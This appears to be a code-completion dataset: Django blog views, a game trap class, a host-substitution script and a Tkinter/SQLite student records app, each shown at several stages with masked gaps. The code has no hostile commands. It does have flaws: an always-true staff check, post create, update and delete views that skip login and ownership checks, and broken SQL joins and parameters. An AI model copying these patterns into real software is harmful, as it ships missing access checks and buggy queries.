ContentType.objects.get_for_model(Post) obj_id = instance.id comments = Comment.objects.filter(content_type=content_type, object_id= obj_id) initial_data = {'content_type': content_type, 'object_id': instance.id} form = CommentForm(request.POST or None, initial=initial_data) if form.is_valid(): c_type = form.cleaned_data.get('content_type') content_type = ContentType.objects.get(model=c_type) obj_id = form.cleaned_data.get('object_id') content_data = form.cleaned_data.get('content') parent_obj = None try: parent_id = int(request.POST.get('parent_id')) except: parent_id = None if parent_id: parent_qs = Comment.objects.filter(id=parent_id) if parent_qs.exists(): parent_obj = parent_qs.first() new_comment, created = Comment.objects.get_or_create(user=request. user, content_type=content_type, object_id=obj_id, content= content_data, parent=parent_obj) context = {'title': instance.title, 'instance': instance, 'comments': comments, 'form': form, 'obj_id': obj_id} return render(request, 'post/Posts.html', context) def post_details_student(request, id=None): instance = get_object_or_404(PostStudent, id=id) content_type = ContentType.objects.get_for_model(PostStudent) obj_id = instance.id comments = CommentStudent.objects.filter(content_type=content_type, object_id=obj_id) initial_data = {'content_type': content_type, 'object_id': instance.id} form = CommentForm(request.POST or None, initial=initial_data) if form.is_valid(): c_type = form.cleaned_data.get('content_type') content_type = ContentType.objects.get(model=c_type) obj_id = form.cleaned_data.get('object_id') content_data = form.cleaned_data.get('content') parent_obj = None try: parent_id = int(request.POST.get('parent_id')) except: parent_id = None if parent_id: parent_qs = Comment.objects.filter(id=parent_id) if parent_qs.exists(): parent_obj = parent_qs.first() new_comment, created = CommentStudent.objects.get_or_create(user= request.user, content_type=content_type, object_id=obj_id, content=content_data, parent=parent_obj) context = {'title': instance.title, 'instance': instance, 'comments': comments, 'form': form, 'obj_id': obj_id} return render(request, 'post/post_details_student.html', context) <mask token>
<mask token> def post_create(request): form = PostForm(request.POST or None, request.FILES or None) if request.method == 'POST': user = request.POST.get('user') title = request.POST.get('title') content = request.POST.get('content') PostStudent.objects.create(user=user, title=title, content=content) messages.success(request, 'Successfully Posted') context = {'form': form} return render(request, 'post/create_post.html', context) def temp_post(request): return render(request, 'post/Posts.html', {}) def temp_allpost(request): obj = Post.objects.all() context = {'obj': obj} return render(request, 'post/All_Post.html', context) def allpoststudents(request): if not request.user.is_staff or request.user.is_staff: obj = PostStudent.objects.all().order_by('-timestamp') query = request.GET.get('q') if query: obj = obj.filter(Q(title__icontains=query) | Q(content__icontains= query) | Q(user__icontains=query) | Q(timestamp__icontains=query) ).distinct() context = {'obj': obj} return render(request, 'post/All_Post_Students.html', context) def post_update(request, id=None): instance = get_object_or_404(Post, id=id) form = PostForm(request.POST or None, instance=instance) if form.is_valid(): instance = form.save(commit=False) instance.save() messages.success(request, "<a href='#'>Item </a>Saved", extra_tags= 'html_safe') return HttpResponseRedirect(instance.get_absolute_url()) context = {'title': instance.title, 'instance': instance, 'form': form} return render(request, 'post/create_post.html', context) def post_details(request, id=None): instance = get_object_or_404(Post, id=id) content_type = ContentType.objects.get_for_model(Post) obj_id = instance.id comments = Comment.objects.filter(content_type=content_type, object_id= obj_id) initial_data = {'content_type': content_type, 'object_id': instance.id} form = CommentForm(request.POST or None, initial=initial_data) if form.is_valid(): c_type = form.cleaned_data.get('content_type') content_type = ContentType.objects.get(model=c_type) obj_id = form.cleaned_data.get('object_id') content_data = form.cleaned_data.get('content') parent_obj = None try: parent_id = int(request.POST.get('parent_id')) except: parent_id = None if parent_id: parent_qs = Comment.objects.filter(id=parent_id) if parent_qs.exists(): parent_obj = parent_qs.first() new_comment, created = Comment.objects.get_or_create(user=request. user, content_type=content_type, object_id=obj_id, content= content_data, parent=parent_obj) context = {'title': instance.title, 'instance': instance, 'comments': comments, 'form': form, 'obj_id': obj_id} return render(request, 'post/Posts.html', context) def post_details_student(request, id=None): instance = get_object_or_404(PostStudent, id=id) content_type = ContentType.objects.get_for_model(PostStudent) obj_id = instance.id comments = CommentStudent.objects.filter(content_type=content_type, object_id=obj_id) initial_data = {'content_type': content_type, 'object_id': instance.id} form = CommentForm(request.POST or None, initial=initial_data) if form.is_valid(): c_type = form.cleaned_data.get('content_type') content_type = ContentType.objects.get(model=c_type) obj_id = form.cleaned_data.get('object_id') content_data = form.cleaned_data.get('content') parent_obj = None try: parent_id = int(request.POST.get('parent_id')) except: parent_id = None if parent_id: parent_qs = Comment.objects.filter(id=parent_id) if parent_qs.exists(): parent_obj = parent_qs.first() new_comment, created = CommentStudent.objects.get_or_create(user= request.user, content_type=content_type, object_id=obj_id, content=content_data, parent=parent_obj) context = {'title': instance.title, 'instance': instance, 'comments': comments, 'form': form, 'obj_id': obj_id} return render(request, 'post/post_details_student.html', context) def post_delete(request, id=None): instance = get_object_or_404(PostStudent, id=id) instance.delete() messages.success(request, 'Successfully deleted') return render(request, 'post/All_Post_Students.html', {})
from django.shortcuts import render, get_object_or_404, redirect from django.contrib.contenttypes.models import ContentType from User.forms import EditProfileForm from User import forms from django.db.models import Q from django.contrib import messages from django.urls import reverse from django.http import HttpResponseRedirect from posts.forms import * from .models import Post from comments.models import * from comments.forms import * def post_create(request): form = PostForm(request.POST or None, request.FILES or None) if request.method == 'POST': user = request.POST.get('user') title = request.POST.get('title') content = request.POST.get('content') PostStudent.objects.create(user=user, title=title, content=content) messages.success(request, 'Successfully Posted') context = {'form': form} return render(request, 'post/create_post.html', context) def temp_post(request): return render(request, 'post/Posts.html', {}) def temp_allpost(request): obj = Post.objects.all() context = {'obj': obj} return render(request, 'post/All_Post.html', context) def allpoststudents(request): if not request.user.is_staff or request.user.is_staff: obj = PostStudent.objects.all().order_by('-timestamp') query = request.GET.get('q') if query: obj = obj.filter(Q(title__icontains=query) | Q(content__icontains= query) | Q(user__icontains=query) | Q(timestamp__icontains=query) ).distinct() context = {'obj': obj} return render(request, 'post/All_Post_Students.html', context) def post_update(request, id=None): instance = get_object_or_404(Post, id=id) form = PostForm(request.POST or None, instance=instance) if form.is_valid(): instance = form.save(commit=False) instance.save() messages.success(request, "<a href='#'>Item </a>Saved", extra_tags= 'html_safe') return HttpResponseRedirect(instance.get_absolute_url()) context = {'title': instance.title, 'instance': instance, 'form': form} return render(request, 'post/create_post.html', context) def post_details(request, id=None): instance = get_object_or_404(Post, id=id) content_type = ContentType.objects.get_for_model(Post) obj_id = instance.id comments = Comment.objects.filter(content_type=content_type, object_id= obj_id) initial_data = {'content_type': content_type, 'object_id': instance.id} form = CommentForm(request.POST or None, initial=initial_data) if form.is_valid(): c_type = form.cleaned_data.get('content_type') content_type = ContentType.objects.get(model=c_type) obj_id = form.cleaned_data.get('object_id') content_data = form.cleaned_data.get('content') parent_obj = None try: parent_id = int(request.POST.get('parent_id')) except: parent_id = None if parent_id: parent_qs = Comment.objects.filter(id=parent_id) if parent_qs.exists(): parent_obj = parent_qs.first() new_comment, created = Comment.objects.get_or_create(user=request. user, content_type=content_type, object_id=obj_id, content= content_data, parent=parent_obj) context = {'title': instance.title, 'instance': instance, 'comments': comments, 'form': form, 'obj_id': obj_id} return render(request, 'post/Posts.html', context) def post_details_student(request, id=None): instance = get_object_or_404(PostStudent, id=id) content_type = ContentType.objects.get_for_model(PostStudent) obj_id = instance.id comments = CommentStudent.objects.filter(content_type=content_type, object_id=obj_id) initial_data = {'content_type': content_type, 'object_id': instance.id} form = CommentForm(request.POST or None, initial=initial_data) if form.is_valid(): c_type = form.cleaned_data.get('content_type') content_type = ContentType.objects.get(model=c_type) obj_id = form.cleaned_data.get('object_id') content_data = form.cleaned_data.get('content') parent_obj = None try: parent_id = int(request.POST.get('parent_id')) except: parent_id = None if parent_id: parent_qs = Comment.objects.filter(id=parent_id) if parent_qs.exists(): parent_obj = parent_qs.first() new_comment, created = CommentStudent.objects.get_or_create(user= request.user, content_type=content_type, object_id=obj_id, content=content_data, parent=parent_obj) context = {'title': instance.title, 'instance': instance, 'comments': comments, 'form': form, 'obj_id': obj_id} return render(request, 'post/post_details_student.html', context) def post_delete(request, id=None): instance = get_object_or_404(PostStudent, id=id) instance.delete() messages.success(request, 'Successfully deleted') return render(request, 'post/All_Post_Students.html', {})
from django.shortcuts import render, get_object_or_404, redirect from django.contrib.contenttypes.models import ContentType from User.forms import EditProfileForm from User import forms from django.db.models import Q from django.contrib import messages from django.urls import reverse from django.http import HttpResponseRedirect from posts.forms import * # Create your views here. from .models import Post from comments.models import * from comments.forms import * def post_create(request): form = PostForm(request.POST or None, request.FILES or None) if request.method == "POST": user= request.POST.get("user") title = request.POST.get("title") content = request.POST.get("content") PostStudent.objects.create(user=user, title=title,content=content) messages.success(request, "Successfully Posted") #if form.is_valid(): #instance = form.save(commit=False) #instance.save() context = { "form": form, } return render(request, "post/create_post.html", context) def temp_post(request): return render(request, 'post/Posts.html', {}) def temp_allpost(request): obj = Post.objects.all() context = {'obj': obj} return render(request, 'post/All_Post.html', context) def allpoststudents(request): if not request.user.is_staff or request.user.is_staff: obj = PostStudent.objects.all().order_by("-timestamp") query = request.GET.get("q") if query: obj = obj.filter( Q(title__icontains=query)| Q(content__icontains=query)| Q(user__icontains=query)| Q(timestamp__icontains=query) ).distinct() context = {'obj': obj} return render(request, 'post/All_Post_Students.html', context) def post_update(request, id=None): instance = get_object_or_404(Post, id=id) form = PostForm(request.POST or None, instance=instance) if form.is_valid(): instance = form.save(commit=False) instance.save() messages.success(request, "<a href='#'>Item </a>Saved", extra_tags='html_safe') return HttpResponseRedirect(instance.get_absolute_url()) context = { "title": instance.title, "instance": instance, "form": form, } return render(request, "post/create_post.html", context) def post_details(request, id=None): instance = get_object_or_404(Post, id=id) content_type = ContentType.objects.get_for_model(Post) obj_id = instance.id comments = Comment.objects.filter(content_type=content_type, object_id=obj_id) initial_data = { "content_type": content_type, "object_id": instance.id } form = CommentForm(request.POST or None, initial= initial_data) if form.is_valid(): c_type = form.cleaned_data.get("content_type") content_type = ContentType.objects.get(model=c_type) obj_id = form.cleaned_data.get("object_id") content_data = form.cleaned_data.get("content") parent_obj = None try: parent_id = int(request.POST.get("parent_id")) except: parent_id = None if parent_id: parent_qs = Comment.objects.filter(id=parent_id) if parent_qs.exists(): parent_obj = parent_qs.first() new_comment, created = Comment.objects.get_or_create( user = request.user, content_type = content_type, object_id = obj_id, content = content_data, parent = parent_obj, ) context = { "title":instance.title, "instance":instance, "comments": comments, "form": form, "obj_id": obj_id, } return render(request, "post/Posts.html", context) def post_details_student(request, id=None): instance = get_object_or_404(PostStudent, id=id) content_type = ContentType.objects.get_for_model(PostStudent) obj_id = instance.id comments = CommentStudent.objects.filter(content_type=content_type, object_id=obj_id) initial_data = { "content_type": content_type, "object_id": instance.id } form = CommentForm(request.POST or None, initial=initial_data) if form.is_valid(): c_type = form.cleaned_data.get("content_type") content_type = ContentType.objects.get(model=c_type) obj_id = form.cleaned_data.get("object_id") content_data = form.cleaned_data.get("content") parent_obj = None try: parent_id = int(request.POST.get("parent_id")) except: parent_id = None if parent_id: parent_qs = Comment.objects.filter(id=parent_id) if parent_qs.exists(): parent_obj = parent_qs.first() new_comment, created = CommentStudent.objects.get_or_create( user=request.user, content_type=content_type, object_id=obj_id, content=content_data, parent=parent_obj, ) context = { "title": instance.title, "instance": instance, "comments": comments, "form": form, "obj_id": obj_id, } return render(request, "post/post_details_student.html", context) def post_delete(request, id=None): instance = get_object_or_404(PostStudent, id=id) instance.delete() messages.success(request, "Successfully deleted") return render(request, 'post/All_Post_Students.html', {})
[ 5, 6, 8, 9, 10 ]
9,925
f2a94f6bfe86af439a8248b40732340c45d89b93
<mask token> class Trap(GameObject): <mask token> def __init__(self, gamedir, filename=None): self.attacks = list() self.x = 0 self.y = 0 self.radius = 0 self.is_first_round = True GameObject.__init__(self, gamedir, filename) <mask token> def trigger_trap(self, victim): attac = random.choice(self.attacks) attack = attac[0] damage = attac[1] victim.health = mb_subs.subtract_to_floor(victim.health, damage) if damage >= 0: commentary = '(OH NO!) %s' % (attack % victim.name) else: commentary = '(WOW!) %s' % (attack % victim.name) return commentary, damage
<mask token> class Trap(GameObject): <mask token> def __init__(self, gamedir, filename=None): self.attacks = list() self.x = 0 self.y = 0 self.radius = 0 self.is_first_round = True GameObject.__init__(self, gamedir, filename) def read_in_config(self, filename): parser = GameObject.read_in_config(self, filename) if parser.has_section('attacks'): self.attacks = mb_subs.actions(parser.items('attacks')) del parser def trigger_trap(self, victim): attac = random.choice(self.attacks) attack = attac[0] damage = attac[1] victim.health = mb_subs.subtract_to_floor(victim.health, damage) if damage >= 0: commentary = '(OH NO!) %s' % (attack % victim.name) else: commentary = '(WOW!) %s' % (attack % victim.name) return commentary, damage
<mask token> class Trap(GameObject): """ This class is used to create traps (or blessing objects) that exist in the arena on their own but that are not subject to attack. The only real attributes traps have is different types of attacks that they can carry out on combatants in the arena. """ def __init__(self, gamedir, filename=None): self.attacks = list() self.x = 0 self.y = 0 self.radius = 0 self.is_first_round = True GameObject.__init__(self, gamedir, filename) def read_in_config(self, filename): parser = GameObject.read_in_config(self, filename) if parser.has_section('attacks'): self.attacks = mb_subs.actions(parser.items('attacks')) del parser def trigger_trap(self, victim): attac = random.choice(self.attacks) attack = attac[0] damage = attac[1] victim.health = mb_subs.subtract_to_floor(victim.health, damage) if damage >= 0: commentary = '(OH NO!) %s' % (attack % victim.name) else: commentary = '(WOW!) %s' % (attack % victim.name) return commentary, damage
import random import mb_io import mb_subs from mb_go import GameObject class Trap(GameObject): """ This class is used to create traps (or blessing objects) that exist in the arena on their own but that are not subject to attack. The only real attributes traps have is different types of attacks that they can carry out on combatants in the arena. """ def __init__(self, gamedir, filename=None): self.attacks = list() self.x = 0 self.y = 0 self.radius = 0 self.is_first_round = True GameObject.__init__(self, gamedir, filename) def read_in_config(self, filename): parser = GameObject.read_in_config(self, filename) if parser.has_section('attacks'): self.attacks = mb_subs.actions(parser.items('attacks')) del parser def trigger_trap(self, victim): attac = random.choice(self.attacks) attack = attac[0] damage = attac[1] victim.health = mb_subs.subtract_to_floor(victim.health, damage) if damage >= 0: commentary = '(OH NO!) %s' % (attack % victim.name) else: commentary = '(WOW!) %s' % (attack % victim.name) return commentary, damage
# ------------------------------------------------------------------------- # File: mb_trap.py # Created: Tue Feb 7 20:51:32 2006 # ------------------------------------------------------------------------- import random import mb_io import mb_subs from mb_go import GameObject class Trap(GameObject): """ This class is used to create traps (or blessing objects) that exist in the arena on their own but that are not subject to attack. The only real attributes traps have is different types of attacks that they can carry out on combatants in the arena. """ def __init__(self, gamedir, filename = None): self.attacks = list() self.x = 0 self.y = 0 self.radius = 0 self.is_first_round = True GameObject.__init__(self, gamedir, filename) def read_in_config(self, filename): parser = GameObject.read_in_config(self, filename) if parser.has_section('attacks'): self.attacks = mb_subs.actions(parser.items('attacks')) del parser def trigger_trap(self, victim): attac = random.choice(self.attacks) attack = attac[0] damage = attac[1] victim.health = mb_subs.subtract_to_floor(victim.health, damage) if damage >= 0: commentary = '(OH NO!) %s' % (attack % victim.name) else: commentary = '(WOW!) %s' % (attack % victim.name) return commentary, damage
[ 3, 4, 5, 6, 7 ]
9,926
d6af9a75fbe8bdf1a81a352cee71ac81fb373b86
<mask token> def process_the_source(fname, dest=None, host_ip=None, verbose=False): assert os.path.exists(fname) and os.path.isfile(fname ), 'Cannot proceed without the fname in process_the_source().' the_lines = [] with open(fname, 'r') as fIn: for line in fIn: l = line.rstrip() l = l.replace(__target__, host_ip) the_lines.append(l) with open(dest, 'w') as fOut: for l in the_lines: print(l, file=fOut) assert os.path.exists(dest) and os.path.isfile(dest ), 'Cannot proceed without the dest file in process_the_source().' <mask token>
<mask token> def process_the_source(fname, dest=None, host_ip=None, verbose=False): assert os.path.exists(fname) and os.path.isfile(fname ), 'Cannot proceed without the fname in process_the_source().' the_lines = [] with open(fname, 'r') as fIn: for line in fIn: l = line.rstrip() l = l.replace(__target__, host_ip) the_lines.append(l) with open(dest, 'w') as fOut: for l in the_lines: print(l, file=fOut) assert os.path.exists(dest) and os.path.isfile(dest ), 'Cannot proceed without the dest file in process_the_source().' if __name__ == '__main__': is_verbose = True root = sys.argv[1] host_ip = sys.argv[2] assert len(host_ip) > 0, 'Cannot proceed without the host ip address.' assert os.path.exists(root) and os.path.isdir(root ), 'Cannot proceed without the root in process_the_source().' sources['{}/.env'.format(root)] = '{}/code/.env'.format(root) if is_verbose: print('BEGIN:') for s, d in sources.items(): if is_verbose: print('{} -> {}'.format(s, d)) assert os.path.exists(s) and os.path.isfile(s ), 'Cannot find "{}" so cannot proceed.'.format(s) process_the_source(s, dest=d, host_ip=host_ip, verbose=is_verbose) if is_verbose: print('END!!!') if is_verbose: print() print('Done.')
<mask token> __target__ = '${EXTERNAL_HOST}' sources = {} def process_the_source(fname, dest=None, host_ip=None, verbose=False): assert os.path.exists(fname) and os.path.isfile(fname ), 'Cannot proceed without the fname in process_the_source().' the_lines = [] with open(fname, 'r') as fIn: for line in fIn: l = line.rstrip() l = l.replace(__target__, host_ip) the_lines.append(l) with open(dest, 'w') as fOut: for l in the_lines: print(l, file=fOut) assert os.path.exists(dest) and os.path.isfile(dest ), 'Cannot proceed without the dest file in process_the_source().' if __name__ == '__main__': is_verbose = True root = sys.argv[1] host_ip = sys.argv[2] assert len(host_ip) > 0, 'Cannot proceed without the host ip address.' assert os.path.exists(root) and os.path.isdir(root ), 'Cannot proceed without the root in process_the_source().' sources['{}/.env'.format(root)] = '{}/code/.env'.format(root) if is_verbose: print('BEGIN:') for s, d in sources.items(): if is_verbose: print('{} -> {}'.format(s, d)) assert os.path.exists(s) and os.path.isfile(s ), 'Cannot find "{}" so cannot proceed.'.format(s) process_the_source(s, dest=d, host_ip=host_ip, verbose=is_verbose) if is_verbose: print('END!!!') if is_verbose: print() print('Done.')
import os import sys import socket __target__ = '${EXTERNAL_HOST}' sources = {} def process_the_source(fname, dest=None, host_ip=None, verbose=False): assert os.path.exists(fname) and os.path.isfile(fname ), 'Cannot proceed without the fname in process_the_source().' the_lines = [] with open(fname, 'r') as fIn: for line in fIn: l = line.rstrip() l = l.replace(__target__, host_ip) the_lines.append(l) with open(dest, 'w') as fOut: for l in the_lines: print(l, file=fOut) assert os.path.exists(dest) and os.path.isfile(dest ), 'Cannot proceed without the dest file in process_the_source().' if __name__ == '__main__': is_verbose = True root = sys.argv[1] host_ip = sys.argv[2] assert len(host_ip) > 0, 'Cannot proceed without the host ip address.' assert os.path.exists(root) and os.path.isdir(root ), 'Cannot proceed without the root in process_the_source().' sources['{}/.env'.format(root)] = '{}/code/.env'.format(root) if is_verbose: print('BEGIN:') for s, d in sources.items(): if is_verbose: print('{} -> {}'.format(s, d)) assert os.path.exists(s) and os.path.isfile(s ), 'Cannot find "{}" so cannot proceed.'.format(s) process_the_source(s, dest=d, host_ip=host_ip, verbose=is_verbose) if is_verbose: print('END!!!') if is_verbose: print() print('Done.')
import os import sys import socket __target__ = '${EXTERNAL_HOST}' sources = {} def process_the_source(fname, dest=None, host_ip=None, verbose=False): assert (os.path.exists(fname) and os.path.isfile(fname)), 'Cannot proceed without the fname in process_the_source().' the_lines = [] with open(fname, 'r') as fIn: for line in fIn: l = line.rstrip() l = l.replace(__target__, host_ip) the_lines.append(l) with open(dest, 'w') as fOut: for l in the_lines: print(l, file=fOut) assert (os.path.exists(dest) and os.path.isfile(dest)), 'Cannot proceed without the dest file in process_the_source().' if (__name__ == '__main__'): is_verbose = True root = sys.argv[1] host_ip = sys.argv[2] assert (len(host_ip) > 0), 'Cannot proceed without the host ip address.' assert (os.path.exists(root) and os.path.isdir(root)), 'Cannot proceed without the root in process_the_source().' sources['{}/.env'.format(root)] = '{}/code/.env'.format(root) if (is_verbose): print('BEGIN:') for s,d in sources.items(): if (is_verbose): print('{} -> {}'.format(s, d)) assert os.path.exists(s) and os.path.isfile(s), 'Cannot find "{}" so cannot proceed.'.format(s) process_the_source(s, dest=d, host_ip=host_ip, verbose=is_verbose) if (is_verbose): print('END!!!') if (is_verbose): print() print('Done.')
[ 1, 2, 3, 4, 5 ]
9,927
8058ff209af03b7365ffad2a9ce2e2805b548f53
<mask token> def Search(): Names = Name.get() Ages = Age.get() Genders = Gender.get() Heights = height.get() Weights = weight.get() Rollnos = StudentId.get() Sports = Sport.get() t = tree.get_children() for f in t: tree.delete(f) if len(Names) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)""" , Names) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) elif len(Ages) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)""" , Ages) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) elif len(Genders) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)""" , Genders) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) elif len(Heights) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)""" , Heights) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) elif len(Weights) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)""" , Weights) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) elif len(Rollnos) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)""" , Rollnos) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) elif len(Sports) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)""" , Sports) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) else: messagebox.showinfo('Tkinter', 'Atleast one search criteria must be given!') def clearfields(): Name.delete(0, tk.END) Age.delete(0, tk.END) Gender.delete(0, tk.END) height.delete(0, tk.END) weight.delete(0, tk.END) StudentId.delete(0, tk.END) Sport.delete(0, tk.END) <mask token>
<mask token> def save(): Names = Name.get() Ages = Age.get() Genders = Gender.get() Heights = height.get() weights = weight.get() rollnos = StudentId.get() Sports = Sport.get() cursor.execute( """ INSERT INTO Students(Name, Age, Gender, Height,_weight,StudentId) VALUES (?,?,?,?,?,?)""" , (Names, Ages, Genders, Heights, weights, rollnos)) conn.commit() cursor.execute( """ INSERT INTO Activity(Name,StudentId,Activity) VALUES (?,?,?) """ , (Names, rollnos, Sports)) conn.commit() clearfields() messagebox.showinfo('Tkinter', 'Saved successfully!') def delete(): x = StudentId.get() cursor.execute( """ DELETE FROM Students WHERE StudentId = (?)""", x) conn.commit() cursor.execute( """ DELETE FROM Activity WHERE StudentId = (?)""", x) clearfields() messagebox.showinfo('Tkinter', 'Deleted successfully!') def Search(): Names = Name.get() Ages = Age.get() Genders = Gender.get() Heights = height.get() Weights = weight.get() Rollnos = StudentId.get() Sports = Sport.get() t = tree.get_children() for f in t: tree.delete(f) if len(Names) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)""" , Names) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) elif len(Ages) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)""" , Ages) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) elif len(Genders) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)""" , Genders) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) elif len(Heights) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)""" , Heights) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) elif len(Weights) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)""" , Weights) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) elif len(Rollnos) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)""" , Rollnos) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) elif len(Sports) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)""" , Sports) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) else: messagebox.showinfo('Tkinter', 'Atleast one search criteria must be given!') def clearfields(): Name.delete(0, tk.END) Age.delete(0, tk.END) Gender.delete(0, tk.END) height.delete(0, tk.END) weight.delete(0, tk.END) StudentId.delete(0, tk.END) Sport.delete(0, tk.END) <mask token>
<mask token> def save(): Names = Name.get() Ages = Age.get() Genders = Gender.get() Heights = height.get() weights = weight.get() rollnos = StudentId.get() Sports = Sport.get() cursor.execute( """ INSERT INTO Students(Name, Age, Gender, Height,_weight,StudentId) VALUES (?,?,?,?,?,?)""" , (Names, Ages, Genders, Heights, weights, rollnos)) conn.commit() cursor.execute( """ INSERT INTO Activity(Name,StudentId,Activity) VALUES (?,?,?) """ , (Names, rollnos, Sports)) conn.commit() clearfields() messagebox.showinfo('Tkinter', 'Saved successfully!') def delete(): x = StudentId.get() cursor.execute( """ DELETE FROM Students WHERE StudentId = (?)""", x) conn.commit() cursor.execute( """ DELETE FROM Activity WHERE StudentId = (?)""", x) clearfields() messagebox.showinfo('Tkinter', 'Deleted successfully!') def Search(): Names = Name.get() Ages = Age.get() Genders = Gender.get() Heights = height.get() Weights = weight.get() Rollnos = StudentId.get() Sports = Sport.get() t = tree.get_children() for f in t: tree.delete(f) if len(Names) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)""" , Names) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) elif len(Ages) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)""" , Ages) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) elif len(Genders) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)""" , Genders) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) elif len(Heights) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)""" , Heights) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) elif len(Weights) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)""" , Weights) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) elif len(Rollnos) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)""" , Rollnos) records = cursor.fetchall() for row in records: 